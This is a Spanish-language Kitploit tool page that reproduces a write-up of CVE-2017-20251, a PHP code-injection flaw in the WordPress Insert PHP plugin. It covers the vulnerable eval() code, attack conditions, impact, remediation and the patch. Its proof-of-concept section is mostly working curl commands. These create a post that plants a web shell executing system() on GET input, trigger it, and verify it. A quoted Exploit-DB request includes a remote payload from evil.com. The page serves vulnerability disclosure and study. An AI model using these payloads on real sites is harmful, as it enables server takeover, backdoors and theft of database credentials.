Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
By-Poloss..-..CVE-2017-20251 — Inyección de código PHP en el plugin Insert PHP | Kitploit
Herramientas/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

Inyección de código PHP en el plugin Insert PHP

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2017-20251: Inyección de Código PHP en el Plugin Insert PHP

Título de la Vulnerabilidad

Inyección de Código PHP sin Autenticación a través del Procesamiento de Shortcodes en el Plugin Insert PHP

Información Básica

CampoValor
CVE IDCVE-2017-20251
PluginInsert PHP (ahora Woody Code Snippets)
Versiones Afectadas< 3.3.1 (probado en 1.3)
CWECWE-94 (Code Injection)
CVSS v3.19.8 (Critical)
Vector CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
DivulgaciónPública (Exploit-DB 41308)

Descripción

El plugin Insert PHP anterior a la versión 3.3.1 permite a atacantes remotos ejecutar código PHP arbitrario a través de una vulnerabilidad de inyección de shortcode. El plugin registra un shortcode [insert_php]...[/insert_php] que evalúa directamente el contenido dentro de las etiquetas del shortcode usando la función eval() de PHP sin ninguna sanitización o validación.

Un atacante que pueda crear o modificar entradas (a través de la API REST, XML-RPC, o con acceso de colaborador/administrador) puede inyectar código PHP arbitrario en cualquier página o entrada que renderice su contenido, logrando ejecución remota de código completa en el servidor web.

Análisis Técnico

Causa Raíz

La vulnerabilidad existe en la función will_bontrager_insert_php() registrada como filtro de the_content:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

Problemas Clave:

  1. El contenido del shortcode se pasa directamente a eval() sin ninguna sanitización
  2. No se realiza ninguna verificación de autenticación o capacidad
  3. No hay validación de que el contenido provenga de una entrada de snippet legítima
  4. El filtro se ejecuta con prioridad 9, procesando el contenido antes que otros filtros de WordPress

Vector de Ataque

  1. Acceso Inicial: El atacante crea o edita una entrada con contenido malicioso que contiene el shortcode [insert_php]
  2. Entrega: El shortcode se almacena en la base de datos de WordPress como contenido de la entrada
  3. Ejecución: Cuando cualquier usuario ve la página, WordPress ejecuta los filtros de the_content
  4. Impacto: La función eval() ejecuta código PHP arbitrario en el servidor

Condiciones para la Explotación

  • Sitio WordPress con el plugin Insert PHP versión < 3.3.1 instalado y activado
  • El atacante debe tener la capacidad de crear o editar entradas (rol de colaborador o superior)
  • En WordPress < 4.7, la API REST permitía la creación de entradas sin autenticación (habilitando RCE completa sin autenticación)
  • En WordPress >= 4.7, se requiere autenticación para la creación de entradas mediante la API REST

Impacto

Gravedad: Crítica

Ejecución Remota de Código Completa (RCE) en el servidor web:

  • Ejecutar código PHP arbitrario en el servidor
  • Leer/escribir cualquier archivo accesible para el usuario del servidor web
  • Acceder a las credenciales de la base de datos desde wp-config.php
  • Instalar webshells o puertas traseras
  • Pivotar hacia otros sistemas
  • Compromiso completo de confidencialidad, integridad y disponibilidad

PoC - Comandos Curl

Paso 1: Crear una Entrada con Shortcode Malicioso (Autenticado)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

Paso 2: Visitar la Entrada para Desencadenar la Ejecución de Código

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

Paso 3: Verificar la Ejecución de Código

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

Alternativa: Prueba directa con eval() (Prueba simple)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Referencia de Exploit-DB (Sin autenticación, WP < 4.7)

Para versiones antiguas de WordPress donde la API REST permitía la creación de entradas sin autenticación:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

Ejemplo de Respuesta

Cuando se procesa el shortcode vulnerable, el código PHP dentro es ejecutado por eval(). Para la prueba del archivo marcador:

root@kitploit:~
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully

Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server

Verification:
$ cat /var/www/html/marker.txt
SUCCESS

Remedio Recomendado

  1. Inmediato: Desinstalar el plugin Insert PHP o actualizar a la versión 3.3.1 o posterior
  2. Plugin Alternativo: Usar un plugin moderno de snippets de código como WPCode que utilice contextos de ejecución seguros
  3. Si es Obligatorio Usar Snippets PHP: Asegurarse de que solo administradores de confianza puedan crear/editar entradas, y considerar deshabilitar la API REST para no administradores
  4. Endurecimiento: Establecer la constante DISALLOW_UNFILTERED_HTML (aunque esto no mitiga completamente el problema)

Análisis del Parche

La versión parcheada (3.3.1+):

  • Renombró el shortcode de [insert_php] a [wbcr_php_snippet]
  • Eliminó el uso directo de eval() en favor de un contexto de ejecución seguro
  • Agregó comprobaciones de autenticación en los endpoints de la API REST
  • Implementó validación del ID del snippet antes de la ejecución

Referencias

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • Página del Plugin de WordPress
  • CWE-94: Inyección de Código
Descargar herramienta